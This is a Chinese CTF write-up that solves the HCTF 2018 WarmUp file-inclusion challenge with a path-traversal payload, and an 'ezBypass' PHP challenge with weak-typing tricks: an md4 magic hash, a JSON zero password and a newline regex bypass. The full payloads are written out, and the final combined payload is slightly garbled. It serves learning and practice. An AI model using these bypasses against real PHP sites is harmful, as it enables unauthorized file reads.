[HCTF 2018]WarmUp 1
拿道题发现了一个图片,我们直接bp:
发现了一个source.php应该就是源码
发现了一个hint.php,进去后:
先来看源码:
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page))//判断$page是否为空以及是否为字符串 {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) //判断whitelist中是否有page的值,这是in_arry()函数的作用{
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);//截取变量$page首次出现?之前的值
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])//判断file是否为空
&& is_string($_REQUEST['file'])//判断file是否为字符串
&& emmm::checkFile($_REQUEST['file'])//调用checkFile函数来检查变量file
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
代码审计:
isset() 函数定义和用法: isset — 检测变量是否已设置并且非 NULL
mb_substr()定义和用法: mb_substr() 函数返回字符串的一部分,之前我们学过 substr()
函数,它只针对英文字符,如果要分割的中文文字则需要使用 mb_substr()
mb_strpos (haystack ,needle ): haystack:要被检查的字符串。 needle:要搜索的字符串。 (PHP >= 4.0.6, PHP 5, PHP 7) mb_strpos — 查找字符串在另一个字符串中首次出现的位置。
例如:
<?php > header("Content–type:text/html;chartset=utf-8");//中文查找中,尽量要声明一下页面的编码为UTF-8 > $str = 'Rose.io博客'; echo mb_strpos($str,'io'); ?> 输出结果为:5该题中:
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
先来看mb_strpos($page . '?', '?')
输出page变量中`?`所在的位置
那么这一小段代码的意思就是输出page变量中从0开始到第一个?所在位置结束前的值。
in_array(value,array,type):
参数:
value 必需。规定要在数组搜索的值。
array 必需。规定要搜索的数组。
type 可选。如果设置该参数为 true,则检查搜索的数据与数组的值的类型是否相同。
如果给定的值 value 存在于数组 array 中则返回 true。如果第三个参数设置为 true,函数只有在元素存在于数组中且数据类型与给定值相同时才返回 true。
如果没有在数组中找到参数,函数返回 false。
注释:如果 value 参数是字符串,且 type 参数设置为 true,则搜索区分大小写。
本题:
if (in_array($_page, $whitelist))
{
return true;}
判断 w h i t e l i s t 中 是 否 存 在 whitelist中是否存在 whitelist中是否存在page的值
那么开始绕过吧:
只需要让那些if语句返回true
根据提示,flag在ffffllllaaaagggg中,四层目录,%253f是将?
经过两次url编码后得到的结果,在服务器接受参数时会进行一次url解码,执行checkFile()函数时再次进行url解码,其实在这里不对?进行编码也是可以的,那么构建payload:
?file=source.php%253f/../../../../ffffllllaaaagggg
flag{a40d629e-0f4c-4388-b0aa-ed082f59e947}
ezBypass
<?php
error_reporting(1);
highlight_file(__FILE__);
include('flag.php');
if ($_GET["shy1"] != hash("md4", $_GET["shy1"]))
{
echo "<br>";
die('Theshy is locked');
}
if (isset($_GET['shy2'])) {
$message = json_decode($_GET['shy2']);
$password ="*********";
if ($message->password == $password) {
$s = $_SERVER['QUERY_STRING'];
if( substr_count($s, '_') !== 0 || substr_count($s, '%5f') != 0 ){
exit('hahahahahaha!');
}
if($_GET['s_h_y_3'] !== '857857' && preg_match('/^857857$/', $_GET['s_h_y_3'])){
echo $flag;
}
}
else {
echo "NONONO";
}
}
else{
echo "GOGOGO";
}
?>
需要我们去绕过这几个if语句
md4绕过
if ($_GET["shy1"] != hash("md4", $_GET["shy1"]))
{
echo "<br>";
die('Theshy is locked');
}
md4可以使用科学计数法绕过。我们需要找一个明文是一个科学计数法0e开头的,其加密后密文仍然为0e开头的。
令shy1=0e251288019,
md4后为:0e874956163641961271069404332409
payload:?shy1=0e251288019
成功绕过!
json_decode编码绕过
if (isset($_GET['shy2'])) {
$message = json_decode($_GET['shy2']);
$password ="*********";
我们传入的shy2变量会经过json编码,变量password是一串字符串。
json_encode() 对PHP 变量进行json编码,转换为字符串类型的json对象
json_decode() 对 JSON 格式的字符串进行编码并且把它转换为 PHP 变量
例如:
<?php
$a=array('password'=>'123');
var_dump(json_encode($a));
?>
“= =”与“= = =”比较操作符问题
php有两种比较方式,一种是“= =”一种是“= = =”这两种都可以比较两个数字的大小,但是有很明显的区别。
“= =”:会把两端变量类型转换成相同的,在进行比较。这个是根据字符类型强制转换来定义的,int类型的字节数大于char类型的字节数,强制转换的过程中不会损失信息
“= = =”:会先判断两端变量类型是否相同,在进行比较。
在两个相等的符号中,一个字符串与一个数字相比较时,字符串会转换成数值。
那么password就会被强制转换成数值0。
payload:shy2={"password":0}
弱类型绕过
if ($message->password == $password) {
$s = $_SERVER['QUERY_STRING'];
if( substr_count($s, '_') !== 0 || substr_count($s, '%5f') != 0 ){
exit('hahahahahaha!');
}
if($_GET['s_h_y_3'] !== '857857' && preg_match('/^857857$/', $_GET['s_h_y_3'])){
echo $flag;
}
substr_count($s,’_’):输出变量s中出现下划线的次数。
在URL中GET请求当输入.或空格或_都会被忽略,所以s_h_y_3即s h y 3或s.h.y.3,这两个都可行。
^是用来匹配字符串的开始位置
$是用来匹配字符串的结束位置
相当于一个限定条件,也就是以8开始,以7结尾
变量不能等于857857但是正则匹配需要匹配到857857才会输出flag。
url的%0a为换行污染,可以绕过正则:
payload:s.h.y.3=857857%0a
最终的payload为:
?shy1=0e251288019­2={"password":0}&s.h.y.3=857857%0a